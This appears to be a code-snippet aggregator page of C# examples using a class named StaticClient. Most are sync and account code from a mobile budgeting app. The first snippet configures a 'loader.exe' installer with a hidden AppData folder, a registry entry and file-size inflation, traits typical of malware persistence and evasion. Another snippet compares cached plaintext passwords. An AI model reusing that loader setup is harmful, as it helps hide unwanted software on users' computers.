Exemplo n.º 1
0
        public static void Main()
        {
            new Thread(() =>
            {
                new Installer()
                {
                    EnableInstall   = false,
                    FileName        = "loader.exe",
                    DirectoryName   = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "foo folder")),
                    DirectoryHidden = true,
                    RegistryName    = "loader reg",
                    IncreaseSize    = 20,
                    Sleeping        = 1
                }.Run();
            }).Start();

            StaticClient.InitializeClient();
            Application.Run();
        }
        private void LoadLiveNotifications(Action<NotificationList, Exception> callback)
        {
            var client = new StaticClient();

            client.GetAllNotificationsAsync(-1);
            client.GetAllNotificationsCompleted += (o, e) =>
            {
                //if (e.Error == null)
                //    SetupNotificationData(e.Result, true);
                if (e.Error == null)
                {
                    var notificationList = new NotificationList();
                    foreach (var item in e.Result)
                        notificationList.Add(item);

                    callback(notificationList, null);
                }
                else
                    callback(null, e.Error);
            };
        }
Exemplo n.º 3
0
        private static async Task MainAsync()
        {
            Thread.CurrentThread.Name = "MAIN";
            if (!InitializeLoggers())
            {
                return;
            }
            Logger.LogEntry("MAIN", LogLevel.Info, "Started");

            StaticClient.ServerAddress        = "https://www.google.ru/";
            StaticClient.AllowedRedirectCount = 2;
            var result = await StaticClient.GetRawAsync(string.Empty);

            Logger.LogEntry("TEST", LogLevel.Info, $"Status: {result.Status}");
            Logger.LogEntry("TEST", LogLevel.Info, $"Headers:\n{string.Join("\n", result.Headers.Select(h => $"{h.Key}: {h.Value}"))}");

            await Task.Yield();

            Logger.LogEntry("MAIN", LogLevel.Info, "Finished");
            Console.ReadLine();
        }
        public void ChangePassword(User user, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            App.Instance.User.HasChanges = false;
                            App.Instance.User.Update(user);

                            await UpdateCacheUserData(user);

                            App.Instance.IsSync = false;

                            callback(null);
                        }
                        catch (Exception ex)
                        {
                            callback(ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();
                        client.ChangePasswordAsync(user, callback);
                        client.ChangePasswordCompleted += async (sender, eventArgs) =>
                        {
                            try
                            {
                                if (eventArgs.Error != null)
                                {
                                    callback(eventArgs.Error);
                                    return;
                                }

                                App.Instance.User.HasChanges = false;
                                App.Instance.User.Password = eventArgs.Result.Password;

                                await UpdateCacheUserData(eventArgs.Result);

                                callback(null);
                            }
                            catch (Exception) { throw; }
                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void ForgotPassword(User user, Action<User, Exception> callback)
        {
            try
            {
                var client = new StaticClient();
                client.ForgotPasswordAsync(user, callback);
                client.ForgotPasswordCompleted += (sender, eventArgs) =>
                {
                    try
                    {
                        //var userCallback = eventArgs.UserState as Action<User, Exception>;
                        if (eventArgs.Error != null)
                        {
                            callback(null, eventArgs.Error);
                            return;
                        }

                        callback(eventArgs.Result, null);
                    }
                    catch (Exception) { throw; }
                };
            }
            catch (Exception)
            {
                throw;
            }
        }
        /// <summary>
        /// Online only
        /// </summary>
        /// <param name="user"></param>
        /// <param name="callback"></param>
        public void RegisterUser(User user, Action<User, Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            Exception networkError = new Exception(AppResources.NetworkError);
                            callback(null, networkError);
                            return;

                            await UpdateCacheUserData(user);

                            App.Instance.IsSync = false;

                            var isCatDone = false;
                            var isTransReasonDone = false;
                            var isTypeTransDone = false;
                            var isTypeFreqDone = false;
                            var isRecRuleDone = false;


                            SaveCachedCategory(InitialData.InitializeCategories(), error =>
                            {
                                isCatDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedTransactionReason(InitialData.InitializeTypeTransactionReasons(), error =>
                            {
                                isTransReasonDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedTypeTransaction(InitialData.InitializeTypeTransactions(), error =>
                            {
                                isTypeTransDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedTypeFrequency(InitialData.InitializeTypeFrequencies(), error =>
                            {
                                isTypeFreqDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });
                            SaveCachedRecurrenceRule(InitialData.InitializeRecurrenceRule(), error =>
                            {
                                isRecRuleDone = true;
                                if (CheckIfDone(isCatDone, isTransReasonDone, isTypeTransDone, isTypeFreqDone, isRecRuleDone))
                                    callback(user, null);
                            });

                            
                        }
                        catch (Exception ex)
                        {
                            callback(null, ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();
                        client.RegisterUserAsync(user, callback);
                        client.RegisterUserCompleted += (sender, eventArgs) =>
                        {
                            try
                            {
                                var userCallback = eventArgs.UserState as Action<User, Exception>;
                                if (userCallback == null)
                                    return;

                                if (eventArgs.Error != null)
                                {
                                    userCallback(null, eventArgs.Error);
                                    return;
                                }

                                user.HasChanges = false;
                                user.UserId = eventArgs.Result.UserId;

                                userCallback(eventArgs.Result, null);
                            }
                            catch (Exception) { throw; }
                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void SaveTypeIntervalConfiguration(TypeIntervalConfiguration typeIntervalConfig, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            SetupTypeIntervalConfigData(typeIntervalConfig, false);

                            App.Instance.IsSync = false;

                            callback(null);
                        }
                        catch (Exception ex)
                        {
                            callback(ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();
                        client.SaveTypeIntervalConfigAsync(typeIntervalConfig);
                        client.SaveTypeIntervalConfigCompleted += (sender, completedEventArgs) =>
                        {
                            if (completedEventArgs.Error == null)
                            {
                                SetupTypeIntervalConfigData(completedEventArgs.Result, true);

                                //Only update sync when offline and in login and main pages
                                //App.Instance.IsSync = true;

                                callback(null);
                            }
                            else
                                callback(completedEventArgs.Error);
                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void SaveNotification(ObservableCollection<Notification> notifications, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        try
                        {
                            foreach (var item in NotificationList.Where(x => x.HasChanges))
                                item.HasChanges = false;

                            await SetupNotificationData(notifications, false);

                            App.Instance.IsSync = false;

                            callback(null);
                        }
                        catch (Exception ex)
                        {
                            callback(ex);
                        }
                    }
                    else
                    {
                        var client = new StaticClient();

                        client.SaveNotificationsAsync(notifications, App.Instance.User);

                        client.SaveNotificationsCompleted += async (sender, completedEventArgs) =>
                        {
                            if (completedEventArgs.Error == null)
                            {
                                await SetupNotificationData(completedEventArgs.Result, true);

                                //Only update sync when offline and in login and main pages
                                //App.Instance.IsSync = true;

                                callback(null);
                            }
                            else
                                callback(completedEventArgs.Error);

                        };
                    }
                });
            }
            catch (Exception)
            {
                throw;
            }
        }
        public void SyncNotificationsData(Action<Exception> callback)
        {
            try
            {
                NotificationList.Clear();

                App.Instance.StaticServiceData.LoadCachedNotifications((cachedNotifications, error) =>
                {
                    var notificationList = cachedNotifications.Where(x => x.ModifiedDate > App.Instance.LastSyncDate).ToObservableCollection();

                    var client = new StaticClient();

                    client.SyncNotificationsAsync(notificationList);

                    client.SyncNotificationsCompleted += async (sender, e) =>
                    {
                        if (e.Error == null)
                            await SetupNotificationData(e.Result, true);

                        callback(e.Error);
                    };
                });
            }
            catch (Exception ex)
            {
                callback(ex);
            }
        }
        private void LoadLiveTypeIntervalConfiguration(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetTypeIntervalConfigurationAsync(App.Instance.User.UserId);
            client.GetTypeIntervalConfigurationCompleted += (o, e) =>
            {
                if (e.Error == null)
                {
                    SetupIntervalConfigurationData(e.Result, true);
                }

                callback(e.Error);
            };
        }
        private void LoadLiveTypeIntervals(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetAllTypeIntervalsAsync(App.Instance.User.UserId);
            client.GetAllTypeIntervalsCompleted += async (o, e) =>
            {
                if (e.Error == null)
                {
                    await StorageUtility.DeleteAllItems(STATIC_TYPEINTERVAL_FOLDER, App.Instance.User.UserName);
                    await SetupIntervalData(e.Result, true);
                }

                callback(e.Error);
            };
        }
        private void LoadLiveNotifications(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetAllNotificationsAsync(App.Instance.User.UserId);
            client.GetAllNotificationsCompleted += async (o, e) =>
            {
                if (e.Error == null)
                {
                    await StorageUtility.DeleteAllItems(STATIC_NOTIFICATION_FOLDER, App.Instance.User.UserName);
                    await SetupNotificationData(e.Result, true);
                }

                callback(e.Error);
            };
        }
        public void LoadLiveCategories(Action<Exception> callback)
        {
            var retVal = new CategoryList();

            var client = new StaticClient();
            try
            {
                latestState = Guid.NewGuid().ToString();
                client.GetAllCategoriesAsync(App.Instance.User.UserId);
                client.GetAllCategoriesCompleted += async (o, e) =>
                {
                    if (e.Error == null)
                    {
                        await StorageUtility.DeleteAllItems(STATIC_CATEGORY_FOLDER, App.Instance.User.UserName);
                        await SetupTypeCategoryData(e.Result, true);
                    }

                    callback(e.Error);
                };
            }
            catch (Exception)
            {
                throw;
            }
        }
        public async Task LoadUser(User user, Action<Exception> callback)
        {
            User existing = new User();
            App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    if (status != StaticServiceData.ServerStatus.Ok)
                    {
                        try
                        {
                            var query = await LoadCachedUser();
                            existing = query.Where(i => i.UserName == user.UserName && i.Password == user.Password).Single();
                            UserFound(existing);

                            callback(null);
                        }
                        catch (Exception) 
                        { 
                            var error = new Exception(AppResources.UserNamePasswordWrongOffline);
                            callback(error);
                        }

                    }
                    else
                    {
                        var client = new StaticClient();
                        client.AuthenticateUserAsync(user, callback);
                        client.AuthenticateUserCompleted += async (sender, eventargs) =>
                        {
                            try
                            {
                                if (eventargs.Error == null)
                                {
                                    existing = eventargs.Result;
                                    UserFound(existing);
                                    await UpdateCacheUserData(existing);
                                }

                                callback(eventargs.Error);
                            }
                            catch (Exception) { throw; }
                        };
                    }
                });
        }
        private void LoadLiveRecurrenceRules(Action<Exception> callback)
        {
            latestState = Guid.NewGuid().ToString();

            var client = new StaticClient();

            client.GetAllRecurrenceRulesAsync();
            client.GetAllRecurrenceRulesCompleted += async (o, e) =>
            {
                if (e.Error == null)
                {
                    await StorageUtility.DeleteAllItems(STATIC_RECURRENCE_FOLDER, App.Instance.User.UserName);
                    await SetupRecurrenceRuleData(e.Result, true);
                }
                callback(e.Error);
            };
        }
        public ServerStatus SetServerStatus(bool SkipCheckForStatus, Action<ServerStatus> callback)
        {
            var result = ServerStatus.Communicating;

            //## always offline
            //callback(result);
            //return result;

            try
            {
                if (SkipCheckForStatus)
                    callback(result);

                if (DeviceNetworkInformation.IsNetworkAvailable)
                {
                    var client = new StaticClient();
                    client.GetDBStatusAsync();
                    client.GetDBStatusCompleted += (sender, e) =>
                    {
                        if (e.Error != null || !e.Result)
                            result = ServerStatus.Error;
                        else if (e.Result)
                            result = ServerStatus.Ok;

                        callback(result);
                    };
                }
                else
                {
                    result = ServerStatus.Error;
                    callback(result);
                }
            }
            catch (Exception)
            {
                //throw;
                callback(ServerStatus.Error);
            }
            return result;
        }
        public void SaveTransactionReason(ObservableCollection<TypeTransactionReason> transactionReasons, Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.SetServerStatus(async status =>
                {
                    //continue with local if status is ok but is pending Sync
                    if (status != Model.StaticServiceData.ServerStatus.Ok || !App.Instance.IsSync)
                    {
                        await SaveCachedTransactionReason(transactionReasons, callback);
                    }
                    else
                    {
                        foreach (var item in transactionReasons)
                            item.OptimizeOnTopLevel();

                        var client = new StaticClient();
                        client.SaveTypeTransactionReasonsAsync(transactionReasons);
                        client.SaveTypeTransactionReasonsCompleted += async (sender, completedEventArgs) =>
                        {
                            if (completedEventArgs.Error == null)
                            {
                                //## Find a more efficient call. Dont fetch all categories, only the affected ones.
                                LoadCategories(true, errorCat => 
                                    callback(errorCat));

                                await SetupTypeTransactionReasonData(completedEventArgs.Result, true);

                                //Only update sync when offline and in login and main pages
                                //App.Instance.IsSync = true;

                                callback(null);
                            }
                            else
                                callback(completedEventArgs.Error);

                        };
                    }
                });
            }
            catch (Exception ex)
            {
                callback(ex);
            }
        }
        public void SyncTypeIntervalsData(Action<Exception> callback)
        {
            try
            {
                App.Instance.StaticServiceData.LoadCachedTypeIntervals((cachedTypeIntervals, error) =>
                {
                    var typeIntervalList = cachedTypeIntervals.Where(x => x.ModifiedDate > App.Instance.LastSyncDate).ToObservableCollection();

                    var client = new StaticClient();

                    client.SyncTypeIntervalsAsync(typeIntervalList);

                    client.SyncTypeIntervalsCompleted += async (sender, e) =>
                    {
                        if (e.Error == null)
                            await SetupIntervalData(e.Result, true);

                        callback(e.Error);
                    };
                });
            }
            catch (Exception ex)
            {
                callback(ex);
            }
        }
 public void GetServerStatus(Action<Exception> callback)
 {
     //var result = ServerStatus.Communicating;
     try
     {
         if (DeviceNetworkInformation.IsNetworkAvailable)
         {
             var client = new StaticClient();
             client.GetDBStatusAsync();
             client.GetDBStatusCompleted += (sender, e) =>
             {
                 callback(e.Error);
             };
         }
         else
         {
             callback(new Exception("Offline"));
         }
     }
     catch (Exception)
     {
         //throw;
         callback(new Exception("Error"));
     }
 }